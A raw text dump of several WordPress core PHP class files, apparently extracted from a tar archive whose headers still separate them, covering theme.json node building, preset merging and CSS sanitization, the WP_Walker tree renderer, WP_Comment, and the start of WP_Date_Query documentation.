'selector' => static::ROOT_BLOCK_SELECTOR, ); // Calculate paths for blocks. if ( ! isset( $theme_json['settings']['blocks'] ) ) { return $nodes; } foreach ( $theme_json['settings']['blocks'] as $name => $node ) { $selector = null; if ( isset( $selectors[ $name ]['selector'] ) ) { $selector = $selectors[ $name ]['selector']; } $nodes[] = array( 'path' => array( 'settings', 'blocks', $name ), 'selector' => $selector, ); } return $nodes; } /** * Builds metadata for the style nodes, which returns in the form of: * * [ * [ * 'path' => [ 'path', 'to', 'some', 'node' ], * 'selector' => 'CSS selector for some node', * 'duotone' => 'CSS selector for duotone for some node' * ], * [ * 'path' => ['path', 'to', 'other', 'node' ], * 'selector' => 'CSS selector for other node', * 'duotone' => null * ], * ] * * @since 5.8.0 * * @param array $theme_json The tree to extract style nodes from. * @param array $selectors List of selectors per block. * @return array */ protected static function get_style_nodes( $theme_json, $selectors = array() ) { $nodes = array(); if ( ! isset( $theme_json['styles'] ) ) { return $nodes; } // Top-level. $nodes[] = array( 'path' => array( 'styles' ), 'selector' => static::ROOT_BLOCK_SELECTOR, ); if ( isset( $theme_json['styles']['elements'] ) ) { foreach ( $theme_json['styles']['elements'] as $element => $node ) { $nodes[] = array( 'path' => array( 'styles', 'elements', $element ), 'selector' => static::ELEMENTS[ $element ], ); } } // Blocks. if ( ! isset( $theme_json['styles']['blocks'] ) ) { return $nodes; } foreach ( $theme_json['styles']['blocks'] as $name => $node ) { $selector = null; if ( isset( $selectors[ $name ]['selector'] ) ) { $selector = $selectors[ $name ]['selector']; } $duotone_selector = null; if ( isset( $selectors[ $name ]['duotone'] ) ) { $duotone_selector = $selectors[ $name ]['duotone']; } $nodes[] = array( 'path' => array( 'styles', 'blocks', $name ), 'selector' => $selector, 'duotone' => $duotone_selector, ); if ( isset( $theme_json['styles']['blocks'][ $name ]['elements'] ) ) { foreach ( $theme_json['styles']['blocks'][ $name ]['elements'] as $element => $node ) { $nodes[] = array( 'path' => array( 'styles', 'blocks', $name, 'elements', $element ), 'selector' => $selectors[ $name ]['elements'][ $element ], ); } } } return $nodes; } /** * For metadata values that can either be booleans or paths to booleans, gets the value. * * ```php * $data = array( * 'color' => array( * 'defaultPalette' => true * ) * ); * * static::get_metadata_boolean( $data, false ); * // => false * * static::get_metadata_boolean( $data, array( 'color', 'defaultPalette' ) ); * // => true * ``` * * @since 6.0.0 * * @param array $data The data to inspect. * @param bool|array $path Boolean or path to a boolean. * @param bool $default Default value if the referenced path is missing. * Default false. * @return bool Value of boolean metadata. */ protected static function get_metadata_boolean( $data, $path, $default = false ) { if ( is_bool( $path ) ) { return $path; } if ( is_array( $path ) ) { $value = _wp_array_get( $data, $path ); if ( null !== $value ) { return $value; } } return $default; } /** * Merge new incoming data. * * @since 5.8.0 * @since 5.9.0 Duotone preset also has origins. * * @param WP_Theme_JSON $incoming Data to merge. */ public function merge( $incoming ) { $incoming_data = $incoming->get_raw_data(); $this->theme_json = array_replace_recursive( $this->theme_json, $incoming_data ); /* * The array_replace_recursive algorithm merges at the leaf level, * but we don't want leaf arrays to be merged, so we overwrite it. * * For leaf values that are sequential arrays it will use the numeric indexes for replacement. * We rather replace the existing with the incoming value, if it exists. * This is the case of spacing.units. * * For leaf values that are associative arrays it will merge them as expected. * This is also not the behavior we want for the current associative arrays (presets). * We rather replace the existing with the incoming value, if it exists. * This happens, for example, when we merge data from theme.json upon existing * theme supports or when we merge anything coming from the same source twice. * This is the case of color.palette, color.gradients, color.duotone, * typography.fontSizes, or typography.fontFamilies. * * Additionally, for some preset types, we also want to make sure the * values they introduce don't conflict with default values. We do so * by checking the incoming slugs for theme presets and compare them * with the equivalent default presets: if a slug is present as a default * we remove it from the theme presets. */ $nodes = static::get_setting_nodes( $incoming_data ); $slugs_global = static::get_default_slugs( $this->theme_json, array( 'settings' ) ); foreach ( $nodes as $node ) { $slugs_node = static::get_default_slugs( $this->theme_json, $node['path'] ); $slugs = array_merge_recursive( $slugs_global, $slugs_node ); // Replace the spacing.units. $path = array_merge( $node['path'], array( 'spacing', 'units' ) ); $content = _wp_array_get( $incoming_data, $path, null ); if ( isset( $content ) ) { _wp_array_set( $this->theme_json, $path, $content ); } // Replace the presets. foreach ( static::PRESETS_METADATA as $preset ) { $override_preset = ! static::get_metadata_boolean( $this->theme_json['settings'], $preset['prevent_override'], true ); foreach ( static::VALID_ORIGINS as $origin ) { $base_path = array_merge( $node['path'], $preset['path'] ); $path = array_merge( $base_path, array( $origin ) ); $content = _wp_array_get( $incoming_data, $path, null ); if ( ! isset( $content ) ) { continue; } if ( 'theme' === $origin && $preset['use_default_names'] ) { foreach ( $content as &$item ) { if ( ! array_key_exists( 'name', $item ) ) { $name = static::get_name_from_defaults( $item['slug'], $base_path ); if ( null !== $name ) { $item['name'] = $name; } } } } if ( ( 'theme' !== $origin ) || ( 'theme' === $origin && $override_preset ) ) { _wp_array_set( $this->theme_json, $path, $content ); } else { $slugs_for_preset = _wp_array_get( $slugs, $preset['path'], array() ); $content = static::filter_slugs( $content, $slugs_for_preset ); _wp_array_set( $this->theme_json, $path, $content ); } } } } } /** * Converts all filter (duotone) presets into SVGs. * * @since 5.9.1 * * @param array $origins List of origins to process. * @return string SVG filters. */ public function get_svg_filters( $origins ) { $blocks_metadata = static::get_blocks_metadata(); $setting_nodes = static::get_setting_nodes( $this->theme_json, $blocks_metadata ); $filters = ''; foreach ( $setting_nodes as $metadata ) { $node = _wp_array_get( $this->theme_json, $metadata['path'], array() ); if ( empty( $node['color']['duotone'] ) ) { continue; } $duotone_presets = $node['color']['duotone']; foreach ( $origins as $origin ) { if ( ! isset( $duotone_presets[ $origin ] ) ) { continue; } foreach ( $duotone_presets[ $origin ] as $duotone_preset ) { $filters .= wp_get_duotone_filter_svg( $duotone_preset ); } } } return $filters; } /** * Returns whether a presets should be overridden or not. * * @since 5.9.0 * @deprecated 6.0.0 Use {@see 'get_metadata_boolean'} instead. * * @param array $theme_json The theme.json like structure to inspect. * @param array $path Path to inspect. * @param bool|array $override Data to compute whether to override the preset. * @return boolean */ protected static function should_override_preset( $theme_json, $path, $override ) { _deprecated_function( __METHOD__, '6.0.0', 'get_metadata_boolean' ); if ( is_bool( $override ) ) { return $override; } /* * The relationship between whether to override the defaults * and whether the defaults are enabled is inverse: * * - If defaults are enabled => theme presets should not be overridden * - If defaults are disabled => theme presets should be overridden * * For example, a theme sets defaultPalette to false, * making the default palette hidden from the user. * In that case, we want all the theme presets to be present, * so they should override the defaults. */ if ( is_array( $override ) ) { $value = _wp_array_get( $theme_json, array_merge( $path, $override ) ); if ( isset( $value ) ) { return ! $value; } // Search the top-level key if none was found for this node. $value = _wp_array_get( $theme_json, array_merge( array( 'settings' ), $override ) ); if ( isset( $value ) ) { return ! $value; } return true; } } /** * Returns the default slugs for all the presets in an associative array * whose keys are the preset paths and the leafs is the list of slugs. * * For example: * * array( * 'color' => array( * 'palette' => array( 'slug-1', 'slug-2' ), * 'gradients' => array( 'slug-3', 'slug-4' ), * ), * ) * * @since 5.9.0 * * @param array $data A theme.json like structure. * @param array $node_path The path to inspect. It's 'settings' by default. * @return array */ protected static function get_default_slugs( $data, $node_path ) { $slugs = array(); foreach ( static::PRESETS_METADATA as $metadata ) { $path = array_merge( $node_path, $metadata['path'], array( 'default' ) ); $preset = _wp_array_get( $data, $path, null ); if ( ! isset( $preset ) ) { continue; } $slugs_for_preset = array(); $slugs_for_preset = array_map( static function( $value ) { return isset( $value['slug'] ) ? $value['slug'] : null; }, $preset ); _wp_array_set( $slugs, $metadata['path'], $slugs_for_preset ); } return $slugs; } /** * Get a `default`'s preset name by a provided slug. * * @since 5.9.0 * * @param string $slug The slug we want to find a match from default presets. * @param array $base_path The path to inspect. It's 'settings' by default. * @return string|null */ protected function get_name_from_defaults( $slug, $base_path ) { $path = array_merge( $base_path, array( 'default' ) ); $default_content = _wp_array_get( $this->theme_json, $path, null ); if ( ! $default_content ) { return null; } foreach ( $default_content as $item ) { if ( $slug === $item['slug'] ) { return $item['name']; } } return null; } /** * Removes the preset values whose slug is equal to any of given slugs. * * @since 5.9.0 * * @param array $node The node with the presets to validate. * @param array $slugs The slugs that should not be overridden. * @return array The new node. */ protected static function filter_slugs( $node, $slugs ) { if ( empty( $slugs ) ) { return $node; } $new_node = array(); foreach ( $node as $value ) { if ( isset( $value['slug'] ) && ! in_array( $value['slug'], $slugs, true ) ) { $new_node[] = $value; } } return $new_node; } /** * Removes insecure data from theme.json. * * @since 5.9.0 * * @param array $theme_json Structure to sanitize. * @return array Sanitized structure. */ public static function remove_insecure_properties( $theme_json ) { $sanitized = array(); $theme_json = WP_Theme_JSON_Schema::migrate( $theme_json ); $valid_block_names = array_keys( static::get_blocks_metadata() ); $valid_element_names = array_keys( static::ELEMENTS ); $theme_json = static::sanitize( $theme_json, $valid_block_names, $valid_element_names ); $blocks_metadata = static::get_blocks_metadata(); $style_nodes = static::get_style_nodes( $theme_json, $blocks_metadata ); foreach ( $style_nodes as $metadata ) { $input = _wp_array_get( $theme_json, $metadata['path'], array() ); if ( empty( $input ) ) { continue; } $output = static::remove_insecure_styles( $input ); if ( ! empty( $output ) ) { _wp_array_set( $sanitized, $metadata['path'], $output ); } } $setting_nodes = static::get_setting_nodes( $theme_json ); foreach ( $setting_nodes as $metadata ) { $input = _wp_array_get( $theme_json, $metadata['path'], array() ); if ( empty( $input ) ) { continue; } $output = static::remove_insecure_settings( $input ); if ( ! empty( $output ) ) { _wp_array_set( $sanitized, $metadata['path'], $output ); } } if ( empty( $sanitized['styles'] ) ) { unset( $theme_json['styles'] ); } else { $theme_json['styles'] = $sanitized['styles']; } if ( empty( $sanitized['settings'] ) ) { unset( $theme_json['settings'] ); } else { $theme_json['settings'] = $sanitized['settings']; } return $theme_json; } /** * Processes a setting node and returns the same node * without the insecure settings. * * @since 5.9.0 * * @param array $input Node to process. * @return array */ protected static function remove_insecure_settings( $input ) { $output = array(); foreach ( static::PRESETS_METADATA as $preset_metadata ) { foreach ( static::VALID_ORIGINS as $origin ) { $path_with_origin = array_merge( $preset_metadata['path'], array( $origin ) ); $presets = _wp_array_get( $input, $path_with_origin, null ); if ( null === $presets ) { continue; } $escaped_preset = array(); foreach ( $presets as $preset ) { if ( esc_attr( esc_html( $preset['name'] ) ) === $preset['name'] && sanitize_html_class( $preset['slug'] ) === $preset['slug'] ) { $value = null; if ( isset( $preset_metadata['value_key'], $preset[ $preset_metadata['value_key'] ] ) ) { $value = $preset[ $preset_metadata['value_key'] ]; } elseif ( isset( $preset_metadata['value_func'] ) && is_callable( $preset_metadata['value_func'] ) ) { $value = call_user_func( $preset_metadata['value_func'], $preset ); } $preset_is_valid = true; foreach ( $preset_metadata['properties'] as $property ) { if ( ! static::is_safe_css_declaration( $property, $value ) ) { $preset_is_valid = false; break; } } if ( $preset_is_valid ) { $escaped_preset[] = $preset; } } } if ( ! empty( $escaped_preset ) ) { _wp_array_set( $output, $path_with_origin, $escaped_preset ); } } } return $output; } /** * Processes a style node and returns the same node * without the insecure styles. * * @since 5.9.0 * * @param array $input Node to process. * @return array */ protected static function remove_insecure_styles( $input ) { $output = array(); $declarations = static::compute_style_properties( $input ); foreach ( $declarations as $declaration ) { if ( static::is_safe_css_declaration( $declaration['name'], $declaration['value'] ) ) { $path = static::PROPERTIES_METADATA[ $declaration['name'] ]; // Check the value isn't an array before adding so as to not // double up shorthand and longhand styles. $value = _wp_array_get( $input, $path, array() ); if ( ! is_array( $value ) ) { _wp_array_set( $output, $path, $value ); } } } return $output; } /** * Checks that a declaration provided by the user is safe. * * @since 5.9.0 * * @param string $property_name Property name in a CSS declaration, i.e. the `color` in `color: red`. * @param string $property_value Value in a CSS declaration, i.e. the `red` in `color: red`. * @return bool */ protected static function is_safe_css_declaration( $property_name, $property_value ) { $style_to_validate = $property_name . ': ' . $property_value; $filtered = esc_html( safecss_filter_attr( $style_to_validate ) ); return ! empty( trim( $filtered ) ); } /** * Returns the raw data. * * @since 5.8.0 * * @return array Raw data. */ public function get_raw_data() { return $this->theme_json; } /** * Transforms the given editor settings according the * add_theme_support format to the theme.json format. * * @since 5.8.0 * * @param array $settings Existing editor settings. * @return array Config that adheres to the theme.json schema. */ public static function get_from_editor_settings( $settings ) { $theme_settings = array( 'version' => static::LATEST_SCHEMA, 'settings' => array(), ); // Deprecated theme supports. if ( isset( $settings['disableCustomColors'] ) ) { if ( ! isset( $theme_settings['settings']['color'] ) ) { $theme_settings['settings']['color'] = array(); } $theme_settings['settings']['color']['custom'] = ! $settings['disableCustomColors']; } if ( isset( $settings['disableCustomGradients'] ) ) { if ( ! isset( $theme_settings['settings']['color'] ) ) { $theme_settings['settings']['color'] = array(); } $theme_settings['settings']['color']['customGradient'] = ! $settings['disableCustomGradients']; } if ( isset( $settings['disableCustomFontSizes'] ) ) { if ( ! isset( $theme_settings['settings']['typography'] ) ) { $theme_settings['settings']['typography'] = array(); } $theme_settings['settings']['typography']['customFontSize'] = ! $settings['disableCustomFontSizes']; } if ( isset( $settings['enableCustomLineHeight'] ) ) { if ( ! isset( $theme_settings['settings']['typography'] ) ) { $theme_settings['settings']['typography'] = array(); } $theme_settings['settings']['typography']['lineHeight'] = $settings['enableCustomLineHeight']; } if ( isset( $settings['enableCustomUnits'] ) ) { if ( ! isset( $theme_settings['settings']['spacing'] ) ) { $theme_settings['settings']['spacing'] = array(); } $theme_settings['settings']['spacing']['units'] = ( true === $settings['enableCustomUnits'] ) ? array( 'px', 'em', 'rem', 'vh', 'vw', '%' ) : $settings['enableCustomUnits']; } if ( isset( $settings['colors'] ) ) { if ( ! isset( $theme_settings['settings']['color'] ) ) { $theme_settings['settings']['color'] = array(); } $theme_settings['settings']['color']['palette'] = $settings['colors']; } if ( isset( $settings['gradients'] ) ) { if ( ! isset( $theme_settings['settings']['color'] ) ) { $theme_settings['settings']['color'] = array(); } $theme_settings['settings']['color']['gradients'] = $settings['gradients']; } if ( isset( $settings['fontSizes'] ) ) { $font_sizes = $settings['fontSizes']; // Back-compatibility for presets without units. foreach ( $font_sizes as $key => $font_size ) { if ( is_numeric( $font_size['size'] ) ) { $font_sizes[ $key ]['size'] = $font_size['size'] . 'px'; } } if ( ! isset( $theme_settings['settings']['typography'] ) ) { $theme_settings['settings']['typography'] = array(); } $theme_settings['settings']['typography']['fontSizes'] = $font_sizes; } if ( isset( $settings['enableCustomSpacing'] ) ) { if ( ! isset( $theme_settings['settings']['spacing'] ) ) { $theme_settings['settings']['spacing'] = array(); } $theme_settings['settings']['spacing']['padding'] = $settings['enableCustomSpacing']; } return $theme_settings; } /** * Returns the current theme's wanted patterns(slugs) to be * registered from Pattern Directory. * * @since 6.0.0 * * @return string[] */ public function get_patterns() { if ( isset( $this->theme_json['patterns'] ) && is_array( $this->theme_json['patterns'] ) ) { return $this->theme_json['patterns']; } return array(); } /** * Returns a valid theme.json as provided by a theme. * * Unlike get_raw_data() this returns the presets flattened, as provided by a theme. * This also uses appearanceTools instead of their opt-ins if all of them are true. * * @since 6.0.0 * * @return array */ public function get_data() { $output = $this->theme_json; $nodes = static::get_setting_nodes( $output ); /** * Flatten the theme & custom origins into a single one. * * For example, the following: * * { * "settings": { * "color": { * "palette": { * "theme": [ {} ], * "custom": [ {} ] * } * } * } * } * * will be converted to: * * { * "settings": { * "color": { * "palette": [ {} ] * } * } * } */ foreach ( $nodes as $node ) { foreach ( static::PRESETS_METADATA as $preset_metadata ) { $path = array_merge( $node['path'], $preset_metadata['path'] ); $preset = _wp_array_get( $output, $path, null ); if ( null === $preset ) { continue; } $items = array(); if ( isset( $preset['theme'] ) ) { foreach ( $preset['theme'] as $item ) { $slug = $item['slug']; unset( $item['slug'] ); $items[ $slug ] = $item; } } if ( isset( $preset['custom'] ) ) { foreach ( $preset['custom'] as $item ) { $slug = $item['slug']; unset( $item['slug'] ); $items[ $slug ] = $item; } } $flattened_preset = array(); foreach ( $items as $slug => $value ) { $flattened_preset[] = array_merge( array( 'slug' => $slug ), $value ); } _wp_array_set( $output, $path, $flattened_preset ); } } // If all of the static::APPEARANCE_TOOLS_OPT_INS are true, // this code unsets them and sets 'appearanceTools' instead. foreach ( $nodes as $node ) { $all_opt_ins_are_set = true; foreach ( static::APPEARANCE_TOOLS_OPT_INS as $opt_in_path ) { $full_path = array_merge( $node['path'], $opt_in_path ); // Use "unset prop" as a marker instead of "null" because // "null" can be a valid value for some props (e.g. blockGap). $opt_in_value = _wp_array_get( $output, $full_path, 'unset prop' ); if ( 'unset prop' === $opt_in_value ) { $all_opt_ins_are_set = false; break; } } if ( $all_opt_ins_are_set ) { _wp_array_set( $output, array_merge( $node['path'], array( 'appearanceTools' ) ), true ); foreach ( static::APPEARANCE_TOOLS_OPT_INS as $opt_in_path ) { $full_path = array_merge( $node['path'], $opt_in_path ); // Use "unset prop" as a marker instead of "null" because // "null" can be a valid value for some props (e.g. blockGap). $opt_in_value = _wp_array_get( $output, $full_path, 'unset prop' ); if ( true !== $opt_in_value ) { continue; } // The following could be improved to be path independent. // At the moment it relies on a couple of assumptions: // // - all opt-ins having a path of size 2. // - there's two sources of settings: the top-level and the block-level. if ( ( 1 === count( $node['path'] ) ) && ( 'settings' === $node['path'][0] ) ) { // Top-level settings. unset( $output['settings'][ $opt_in_path[0] ][ $opt_in_path[1] ] ); if ( empty( $output['settings'][ $opt_in_path[0] ] ) ) { unset( $output['settings'][ $opt_in_path[0] ] ); } } elseif ( ( 3 === count( $node['path'] ) ) && ( 'settings' === $node['path'][0] ) && ( 'blocks' === $node['path'][1] ) ) { // Block-level settings. $block_name = $node['path'][2]; unset( $output['settings']['blocks'][ $block_name ][ $opt_in_path[0] ][ $opt_in_path[1] ] ); if ( empty( $output['settings']['blocks'][ $block_name ][ $opt_in_path[0] ] ) ) { unset( $output['settings']['blocks'][ $block_name ][ $opt_in_path[0] ] ); } } } } } wp_recursive_ksort( $output ); return $output; } } class-wp-walker.php000064400000031525147177035020010305 0ustar00db_fields['id']; $id = $element->$id_field; // Display this element. $this->has_children = ! empty( $children_elements[ $id ] ); if ( isset( $args[0] ) && is_array( $args[0] ) ) { $args[0]['has_children'] = $this->has_children; // Back-compat. } $this->start_el( $output, $element, $depth, ...array_values( $args ) ); // Descend only when the depth is right and there are children for this element. if ( ( 0 == $max_depth || $max_depth > $depth + 1 ) && isset( $children_elements[ $id ] ) ) { foreach ( $children_elements[ $id ] as $child ) { if ( ! isset( $newlevel ) ) { $newlevel = true; // Start the child delimiter. $this->start_lvl( $output, $depth, ...array_values( $args ) ); } $this->display_element( $child, $children_elements, $max_depth, $depth + 1, $args, $output ); } unset( $children_elements[ $id ] ); } if ( isset( $newlevel ) && $newlevel ) { // End the child delimiter. $this->end_lvl( $output, $depth, ...array_values( $args ) ); } // End this element. $this->end_el( $output, $element, $depth, ...array_values( $args ) ); } /** * Displays array of elements hierarchically. * * Does not assume any existing order of elements. * * $max_depth = -1 means flatly display every element. * $max_depth = 0 means display all levels. * $max_depth > 0 specifies the number of display levels. * * @since 2.1.0 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @param array $elements An array of elements. * @param int $max_depth The maximum hierarchical depth. * @param mixed ...$args Optional additional arguments. * @return string The hierarchical item output. */ public function walk( $elements, $max_depth, ...$args ) { $output = ''; // Invalid parameter or nothing to walk. if ( $max_depth < -1 || empty( $elements ) ) { return $output; } $parent_field = $this->db_fields['parent']; // Flat display. if ( -1 == $max_depth ) { $empty_array = array(); foreach ( $elements as $e ) { $this->display_element( $e, $empty_array, 1, 0, $args, $output ); } return $output; } /* * Need to display in hierarchical order. * Separate elements into two buckets: top level and children elements. * Children_elements is two dimensional array. Example: * Children_elements[10][] contains all sub-elements whose parent is 10. */ $top_level_elements = array(); $children_elements = array(); foreach ( $elements as $e ) { if ( empty( $e->$parent_field ) ) { $top_level_elements[] = $e; } else { $children_elements[ $e->$parent_field ][] = $e; } } /* * When none of the elements is top level. * Assume the first one must be root of the sub elements. */ if ( empty( $top_level_elements ) ) { $first = array_slice( $elements, 0, 1 ); $root = $first[0]; $top_level_elements = array(); $children_elements = array(); foreach ( $elements as $e ) { if ( $root->$parent_field == $e->$parent_field ) { $top_level_elements[] = $e; } else { $children_elements[ $e->$parent_field ][] = $e; } } } foreach ( $top_level_elements as $e ) { $this->display_element( $e, $children_elements, $max_depth, 0, $args, $output ); } /* * If we are displaying all levels, and remaining children_elements is not empty, * then we got orphans, which should be displayed regardless. */ if ( ( 0 == $max_depth ) && count( $children_elements ) > 0 ) { $empty_array = array(); foreach ( $children_elements as $orphans ) { foreach ( $orphans as $op ) { $this->display_element( $op, $empty_array, 1, 0, $args, $output ); } } } return $output; } /** * Produces a page of nested elements. * * Given an array of hierarchical elements, the maximum depth, a specific page number, * and number of elements per page, this function first determines all top level root elements * belonging to that page, then lists them and all of their children in hierarchical order. * * $max_depth = 0 means display all levels. * $max_depth > 0 specifies the number of display levels. * * @since 2.7.0 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @param array $elements An array of elements. * @param int $max_depth The maximum hierarchical depth. * @param int $page_num The specific page number, beginning with 1. * @param int $per_page Number of elements per page. * @param mixed ...$args Optional additional arguments. * @return string XHTML of the specified page of elements. */ public function paged_walk( $elements, $max_depth, $page_num, $per_page, ...$args ) { if ( empty( $elements ) || $max_depth < -1 ) { return ''; } $output = ''; $parent_field = $this->db_fields['parent']; $count = -1; if ( -1 == $max_depth ) { $total_top = count( $elements ); } if ( $page_num < 1 || $per_page < 0 ) { // No paging. $paging = false; $start = 0; if ( -1 == $max_depth ) { $end = $total_top; } $this->max_pages = 1; } else { $paging = true; $start = ( (int) $page_num - 1 ) * (int) $per_page; $end = $start + $per_page; if ( -1 == $max_depth ) { $this->max_pages = ceil( $total_top / $per_page ); } } // Flat display. if ( -1 == $max_depth ) { if ( ! empty( $args[0]['reverse_top_level'] ) ) { $elements = array_reverse( $elements ); $oldstart = $start; $start = $total_top - $end; $end = $total_top - $oldstart; } $empty_array = array(); foreach ( $elements as $e ) { $count++; if ( $count < $start ) { continue; } if ( $count >= $end ) { break; } $this->display_element( $e, $empty_array, 1, 0, $args, $output ); } return $output; } /* * Separate elements into two buckets: top level and children elements. * Children_elements is two dimensional array, e.g. * $children_elements[10][] contains all sub-elements whose parent is 10. */ $top_level_elements = array(); $children_elements = array(); foreach ( $elements as $e ) { if ( empty( $e->$parent_field ) ) { $top_level_elements[] = $e; } else { $children_elements[ $e->$parent_field ][] = $e; } } $total_top = count( $top_level_elements ); if ( $paging ) { $this->max_pages = ceil( $total_top / $per_page ); } else { $end = $total_top; } if ( ! empty( $args[0]['reverse_top_level'] ) ) { $top_level_elements = array_reverse( $top_level_elements ); $oldstart = $start; $start = $total_top - $end; $end = $total_top - $oldstart; } if ( ! empty( $args[0]['reverse_children'] ) ) { foreach ( $children_elements as $parent => $children ) { $children_elements[ $parent ] = array_reverse( $children ); } } foreach ( $top_level_elements as $e ) { $count++; // For the last page, need to unset earlier children in order to keep track of orphans. if ( $end >= $total_top && $count < $start ) { $this->unset_children( $e, $children_elements ); } if ( $count < $start ) { continue; } if ( $count >= $end ) { break; } $this->display_element( $e, $children_elements, $max_depth, 0, $args, $output ); } if ( $end >= $total_top && count( $children_elements ) > 0 ) { $empty_array = array(); foreach ( $children_elements as $orphans ) { foreach ( $orphans as $op ) { $this->display_element( $op, $empty_array, 1, 0, $args, $output ); } } } return $output; } /** * Calculates the total number of root elements. * * @since 2.7.0 * * @param array $elements Elements to list. * @return int Number of root elements. */ public function get_number_of_root_elements( $elements ) { $num = 0; $parent_field = $this->db_fields['parent']; foreach ( $elements as $e ) { if ( empty( $e->$parent_field ) ) { $num++; } } return $num; } /** * Unsets all the children for a given top level element. * * @since 2.7.0 * * @param object $element The top level element. * @param array $children_elements The children elements. */ public function unset_children( $element, &$children_elements ) { if ( ! $element || ! $children_elements ) { return; } $id_field = $this->db_fields['id']; $id = $element->$id_field; if ( ! empty( $children_elements[ $id ] ) && is_array( $children_elements[ $id ] ) ) { foreach ( (array) $children_elements[ $id ] as $child ) { $this->unset_children( $child, $children_elements ); } } unset( $children_elements[ $id ] ); } } class-wp-comment.php000064400000022151147177035020010455 0ustar00get_row( $wpdb->prepare( "SELECT * FROM $wpdb->comments WHERE comment_ID = %d LIMIT 1", $comment_id ) ); if ( ! $_comment ) { return false; } wp_cache_add( $_comment->comment_ID, $_comment, 'comment' ); } return new WP_Comment( $_comment ); } /** * Constructor. * * Populates properties with object vars. * * @since 4.4.0 * * @param WP_Comment $comment Comment object. */ public function __construct( $comment ) { foreach ( get_object_vars( $comment ) as $key => $value ) { $this->$key = $value; } } /** * Convert object to array. * * @since 4.4.0 * * @return array Object as array. */ public function to_array() { return get_object_vars( $this ); } /** * Get the children of a comment. * * @since 4.4.0 * * @param array $args { * Array of arguments used to pass to get_comments() and determine format. * * @type string $format Return value format. 'tree' for a hierarchical tree, 'flat' for a flattened array. * Default 'tree'. * @type string $status Comment status to limit results by. Accepts 'hold' (`comment_status=0`), * 'approve' (`comment_status=1`), 'all', or a custom comment status. * Default 'all'. * @type string $hierarchical Whether to include comment descendants in the results. * 'threaded' returns a tree, with each comment's children * stored in a `children` property on the `WP_Comment` object. * 'flat' returns a flat array of found comments plus their children. * Pass `false` to leave out descendants. * The parameter is ignored (forced to `false`) when `$fields` is 'ids' or 'counts'. * Accepts 'threaded', 'flat', or false. Default: 'threaded'. * @type string|array $orderby Comment status or array of statuses. To use 'meta_value' * or 'meta_value_num', `$meta_key` must also be defined. * To sort by a specific `$meta_query` clause, use that * clause's array key. Accepts 'comment_agent', * 'comment_approved', 'comment_author', * 'comment_author_email', 'comment_author_IP', * 'comment_author_url', 'comment_content', 'comment_date', * 'comment_date_gmt', 'comment_ID', 'comment_karma', * 'comment_parent', 'comment_post_ID', 'comment_type', * 'user_id', 'comment__in', 'meta_value', 'meta_value_num', * the value of $meta_key, and the array keys of * `$meta_query`. Also accepts false, an empty array, or * 'none' to disable `ORDER BY` clause. * } * @return WP_Comment[] Array of `WP_Comment` objects. */ public function get_children( $args = array() ) { $defaults = array( 'format' => 'tree', 'status' => 'all', 'hierarchical' => 'threaded', 'orderby' => '', ); $_args = wp_parse_args( $args, $defaults ); $_args['parent'] = $this->comment_ID; if ( is_null( $this->children ) ) { if ( $this->populated_children ) { $this->children = array(); } else { $this->children = get_comments( $_args ); } } if ( 'flat' === $_args['format'] ) { $children = array(); foreach ( $this->children as $child ) { $child_args = $_args; $child_args['format'] = 'flat'; // get_children() resets this value automatically. unset( $child_args['parent'] ); $children = array_merge( $children, array( $child ), $child->get_children( $child_args ) ); } } else { $children = $this->children; } return $children; } /** * Add a child to the comment. * * Used by `WP_Comment_Query` when bulk-filling descendants. * * @since 4.4.0 * * @param WP_Comment $child Child comment. */ public function add_child( WP_Comment $child ) { $this->children[ $child->comment_ID ] = $child; } /** * Get a child comment by ID. * * @since 4.4.0 * * @param int $child_id ID of the child. * @return WP_Comment|false Returns the comment object if found, otherwise false. */ public function get_child( $child_id ) { if ( isset( $this->children[ $child_id ] ) ) { return $this->children[ $child_id ]; } return false; } /** * Set the 'populated_children' flag. * * This flag is important for ensuring that calling `get_children()` on a childless comment will not trigger * unneeded database queries. * * @since 4.4.0 * * @param bool $set Whether the comment's children have already been populated. */ public function populated_children( $set ) { $this->populated_children = (bool) $set; } /** * Check whether a non-public property is set. * * If `$name` matches a post field, the comment post will be loaded and the post's value checked. * * @since 4.4.0 * * @param string $name Property name. * @return bool */ public function __isset( $name ) { if ( in_array( $name, $this->post_fields, true ) && 0 !== (int) $this->comment_post_ID ) { $post = get_post( $this->comment_post_ID ); return property_exists( $post, $name ); } } /** * Magic getter. * * If `$name` matches a post field, the comment post will be loaded and the post's value returned. * * @since 4.4.0 * * @param string $name * @return mixed */ public function __get( $name ) { if ( in_array( $name, $this->post_fields, true ) ) { $post = get_post( $this->comment_post_ID ); return $post->$name; } } } class-wp-date-query.php000064400000105172147177035020011100 0ustar00', '>=', '<', '<=', * 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN'. Default '='. * @type string $relation Optional. The boolean relationship between the date queries. Accepts 'OR' or 'AND'. * Default 'OR'. * @type array ...$0 { * Optional. An array of first-order clause parameters, or another fully-formed date query. * * @type string|array $before { * Optional. Date to retrieve posts before. Accepts `strtotime()`-compatible string, * or array of 'year', 'month', 'day' values. * * @type string $year The four-digit year. Default empty. Accepts any four-digit year. * @type string $month Optional when passing array.The month of the year. * Default (string:empty)|(array:1). Accepts numbers 1-12. * @type string $day Optional when passing array.The day of the month. * Default (string:empty)|(array:1). Accepts numbers 1-31. * } * @type string|array $after { * Optional. Date to retrieve posts after. Accepts `strtotime()`-compatible string, * or array of 'year', 'month', 'day' values. * * @type string $year The four-digit year. Accepts any four-digit year. Default empty. * @type string $month Optional when passing array. The month of the year. Accepts numbers 1-12. * Default (string:empty)|(array:12). * @type string $day Optional when passing array.The day of the month. Accepts numbers 1-31. * Default (string:empty)|(array:last day of month). * } * @type string $column Optional. Used to add a clause comparing a column other than * the column specified in the top-level `$column` parameter. * See WP_Date_Query::validate_column() and * the {@see 'date_query_valid_columns'} filter for the list * of accepted values. Default is the value of top-level `$column`. * @type string $compare Optional. The comparison operator. Accepts '=', '!=', '>', '>=', * '<', '<=', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN'. 'IN', * 'NOT IN', 'BETWEEN', and 'NOT BETWEEN'. Comparisons support * arrays in some time-related parameters. Default '='. * @type bool $inclusive Optional. Include results from dates specified in 'before' or * 'after'. Default false. * @type int|int[] $year Optional. The four-digit year number. Accepts any four-digit year * or an array of years if `$compare` supports it. Default empty. * @type int|int[] $month Optional. The two-digit month number. Accepts numbers 1-12 or an * array of valid numbers if 